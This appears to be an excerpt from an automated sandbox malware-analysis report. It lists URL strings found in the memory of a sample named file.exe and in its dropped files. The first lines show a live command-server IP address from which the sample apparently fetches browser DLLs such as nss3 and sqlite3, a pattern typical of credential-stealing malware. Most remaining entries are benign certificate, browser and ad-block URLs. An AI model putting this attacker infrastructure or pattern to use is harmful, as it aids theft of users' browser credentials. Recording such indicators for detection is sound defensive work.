Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllM
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllQ
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllWm
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dlldf523b719729.php
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll#
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll.
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll-
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll1
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll5m6
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllFme
Source: file.exe, 00000000.00000002.2682684437.0000000000284000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll/y
Source: file.exe, 00000000.00000002.2684520265.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dlll
Source: file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206KFH
Source: Ruleset Data.10.dr	String found in binary or memory: http://ad.yieldmanager.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://ads.depositfiles.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://ads.trafficjunky.net/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: Ruleset Data.10.dr	String found in binary or memory: http://dvdtalk.pricegrabber.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://get.slickvpn.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://go.radiotoday.co.uk/
Source: Ruleset Data.10.dr	String found in binary or memory: http://goo.gl/
Source: Ruleset Data.10.dr	String found in binary or memory: http://https://www.get-express-vpn.com/offer/
Source: Ruleset Data.10.dr	String found in binary or memory: http://img23.fansshare.com/media/img/advertisement.png);width:335px;height:282px;
Source: Ruleset Data.10.dr	String found in binary or memory: http://join.playboyplus.com/track/
Source: Ruleset Data.10.dr	String found in binary or memory: http://l-13.org/
Source: Ruleset Data.10.dr	String found in binary or memory: http://macpaw.7eer.net/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Ruleset Data.10.dr	String found in binary or memory: http://paid.outbrain.com/network/redir?
Source: Ruleset Data.10.dr	String found in binary or memory: http://rabbits.webcam/
Source: Ruleset Data.10.dr	String found in binary or memory: http://redirect.viglink.com
Source: Ruleset Data.10.dr	String found in binary or memory: http://refer.ccbill.com/cgi-bin/clicks.cgi?
Source: Ruleset Data.10.dr	String found in binary or memory: http://roz-tilefona.xbomb.net/
Source: Ruleset Data.10.dr	String found in binary or memory: http://s2.igg-games.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://schema.org/Movie
Source: Ruleset Data.10.dr	String found in binary or memory: http://sexmaxx.com
Source: Ruleset Data.10.dr	String found in binary or memory: http://storage2.proboards.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://tm-offers.gamingadult.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://totsantcugat.info/wp-content/video.php
Source: Ruleset Data.10.dr	String found in binary or memory: http://watchteencam.com/images/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.adpeepshosted.com/adpeeps.php?
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.adult-empire.com/rs.php?
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.adultdvdempire.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.danhotels.com/JerusalemHotels/?utm_
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.dhgate.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.ebay.co.uk/usr/heartresearchuk_shop/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.expertclasses.org/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.gallery-dump.com
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.google.com/aclk?
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.grainesdecannabis.fr/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.kqzyfj.com/
Source: file.exe, 00000000.00000002.2708129002.000000006FD5D000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.myfreecams.com/?baf=
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.reimageplus.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.rpg.net/ads/
Source: file.exe, 00000000.00000002.2701016537.000000001D474000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2707483373.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.sqmetals.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.tkqlhce.com/
Source: Ruleset Data.10.dr	String found in binary or memory: http://www.youtube.com/cthru?
Source: Ruleset Data.10.dr	String found in binary or memory: http://youramateurtube.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://1.envato.market/c/
Source: file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Ruleset Data.10.dr	String found in binary or memory: https://add2home.files.wordpress.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://ads.trafficjunky.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://aejuice.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://affiliate.iqoption.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://affiliate.rusvpn.com/click.php?
Source: Ruleset Data.10.dr	String found in binary or memory: https://amzn.to/
Source: Ruleset Data.10.dr	String found in binary or memory: https://analpornpix.com/t/153
Source: Ruleset Data.10.dr	String found in binary or memory: https://api.taboola.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://app.wiki.gg/showcase/
Source: fc93f198-855c-4a51-a04a-a5a1a5970684.tmp.11.dr, 6c562d4b-80c2-4a52-9914-56f2034be515.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://beap.gemini.yahoo.com/mbclk?
Source: Ruleset Data.10.dr	String found in binary or memory: https://bestbuyrdp.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://betway.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://billing.purevpn.com/aff.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://bit.ly/
Source: Ruleset Data.10.dr	String found in binary or memory: https://bitmagazine.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://bitpreco.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://bogged.finance/
Source: Ruleset Data.10.dr	String found in binary or memory: https://brave.com/
Source: file.exe, 00000000.00000002.2703662533.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2703662533.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Ruleset Data.10.dr	String found in binary or memory: https://bulletprofitsmartlink.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://business.louisville.edu/
Source: Ruleset Data.10.dr	String found in binary or memory: https://buymyshit.moneygrubbingwhore.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://camonster.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://camsfinders.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://cardingmentor.org
Source: file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2576993209.000000002345A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr, DAAAFBKE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2576993209.000000002345A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr, DAAAFBKE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://click.linksynergy.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://clickaine.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://clients.ragezone.com/
Source: 05b0c3ee-961e-4c7f-a200-2361f7f20499.tmp.11.dr, fc93f198-855c-4a51-a04a-a5a1a5970684.tmp.11.dr, 6c562d4b-80c2-4a52-9914-56f2034be515.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 05b0c3ee-961e-4c7f-a200-2361f7f20499.tmp.11.dr, fc93f198-855c-4a51-a04a-a5a1a5970684.tmp.11.dr, 6c562d4b-80c2-4a52-9914-56f2034be515.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://coinext.com.br/
Source: Ruleset Data.10.dr	String found in binary or memory: https://comichub.net/
Source: file.exe, 00000000.00000002.2703662533.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2703662533.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: LICENSE.10.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.10.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: Ruleset Data.10.dr	String found in binary or memory: https://cutt.ly/
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, file.exe, 00000000.00000003.2261862235.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2707955115.000000006CD41000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2576993209.000000002345A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr, DAAAFBKE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2576993209.000000002345A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr, DAAAFBKE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2576993209.000000002345A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr, DAAAFBKE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: LICENSE.10.dr	String found in binary or memory: https://easylist.to/)
Source: 05b0c3ee-961e-4c7f-a200-2361f7f20499.tmp.11.dr, fc93f198-855c-4a51-a04a-a5a1a5970684.tmp.11.dr, 6c562d4b-80c2-4a52-9914-56f2034be515.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: Ruleset Data.10.dr	String found in binary or memory: https://entityframework-extensions.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://etherlands.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://fakethereferer.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://fastestvpn.com/lifetime-special-deal?a_aid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://fbs.com/promo/
Source: Ruleset Data.10.dr	String found in binary or memory: https://freecourseweb.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://freedomfirstcoffee.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://freehdinterracialporn.in/
Source: Ruleset Data.10.dr	String found in binary or memory: https://gadlt.nl/
Source: Ruleset Data.10.dr	String found in binary or memory: https://gen4ever.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://get.surfshark.net/aff_c?
Source: LICENSE.10.dr	String found in binary or memory: https://github.com/easylist)
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.nordvpn.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.nordvpn.net/aff
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.nordvpn.net/aff_c
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.onelink.me/
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.pimylifeup.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.redgifcams.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.stormgain.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.stripchat.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://go.thn.li/
Source: Ruleset Data.10.dr	String found in binary or memory: https://goto.etherscan.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://h5.whalefin.com/landing2/
Source: Ruleset Data.10.dr	String found in binary or memory: https://homemoviestube.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://imagetwist.com/pxt/
Source: JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Ruleset Data.10.dr	String found in binary or memory: https://infowarsstore.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://iplayboy.us/
Source: Ruleset Data.10.dr	String found in binary or memory: https://iqoption.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://itubego.com/video-downloader/?affid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://kogan.sjv.io/
Source: Ruleset Data.10.dr	String found in binary or memory: https://l.epvkjs.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://luckyfish.io/
Source: Ruleset Data.10.dr	String found in binary or memory: https://manhuaplussoulland.onelink.me/
Source: Ruleset Data.10.dr	String found in binary or memory: https://manjiroinflu.com/streams.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://martialscanssoulland.onelink.me/
Source: Ruleset Data.10.dr	String found in binary or memory: https://med.etoro.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://media.mercola.com/assets/html/
Source: Ruleset Data.10.dr	String found in binary or memory: https://meet-sexhere.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://meet-to-fuck.com/tds
Source: Ruleset Data.10.dr	String found in binary or memory: https://members.linkifier.com/public/affiliateLanding?refCode=
Source: Ruleset Data.10.dr	String found in binary or memory: https://misspkl.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mk-ads.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mk-cdn.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mmwebhandler.aff-online.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mob1ledev1ces.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://moneynow.one/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Ruleset Data.10.dr	String found in binary or memory: https://msecure117.com/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: Ruleset Data.10.dr	String found in binary or memory: https://my-movie.club/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mylinks.fan/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mypatriotsupply.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://mypatriotsupply.com/apps/todays-deals
Source: Ruleset Data.10.dr	String found in binary or memory: https://myusenet.xyz/
Source: Ruleset Data.10.dr	String found in binary or memory: https://natour.naughtyamerica.com/track/
Source: Ruleset Data.10.dr	String found in binary or memory: https://nbk.lm336.com/ack
Source: Ruleset Data.10.dr	String found in binary or memory: https://ndt5.net/
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.com
Source: Session_13374685658351557.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: Ruleset Data.10.dr	String found in binary or memory: https://nudegirlsoncam.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://nutrientassumptionclaims.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://oackoubs.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://offer.alibaba.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://offerforge.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://offers.refchamp.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://olymptrade.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://otpokemon.com/animes/
Source: Ruleset Data.10.dr	String found in binary or memory: https://ovb.im/
Source: Ruleset Data.10.dr	String found in binary or memory: https://pagead2.googlesyndication.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://paid.outbrain.com/network/redir?
Source: Ruleset Data.10.dr	String found in binary or memory: https://partners.fxoro.com/click.php?
Source: Ruleset Data.10.dr	String found in binary or memory: https://pcm.bannerator.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://peanuts.pro/site/store
Source: Ruleset Data.10.dr	String found in binary or memory: https://pl.premium4kflix.website/
Source: Ruleset Data.10.dr	String found in binary or memory: https://plarium.com/landings/
Source: Ruleset Data.10.dr	String found in binary or memory: https://playuhd.host/
Source: Ruleset Data.10.dr	String found in binary or memory: https://pluralsight.pxf.io/
Source: Ruleset Data.10.dr	String found in binary or memory: https://porndeals.com/?track=
Source: Ruleset Data.10.dr	String found in binary or memory: https://porngames.adult/?SID=
Source: Ruleset Data.10.dr	String found in binary or memory: https://porntubemate.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://prf.hn/click/
Source: Ruleset Data.10.dr	String found in binary or memory: https://promo-bc.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://ptapjmp.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://pubads.g.doubleclick.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://queersodadults.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://qwa.qwant.com/ck.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://rajabets.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://rapi.cryptonews.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://reachtrgt.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://realbooru.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://rebrand.ly/
Source: Ruleset Data.10.dr	String found in binary or memory: https://recall-email.onelink.me/
Source: Ruleset Data.10.dr	String found in binary or memory: https://redsittalvetoft.pro/
Source: Ruleset Data.10.dr	String found in binary or memory: https://refpaano.host/
Source: Ruleset Data.10.dr	String found in binary or memory: https://refpaexhil.top/
Source: Ruleset Data.10.dr	String found in binary or memory: https://refpasrasw.world/
Source: Ruleset Data.10.dr	String found in binary or memory: https://requestmetrics.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://retiremely.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://rev.adsession.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://s.click.aliexpress.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://s.zlink2.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://schema.org/WPAdBlock
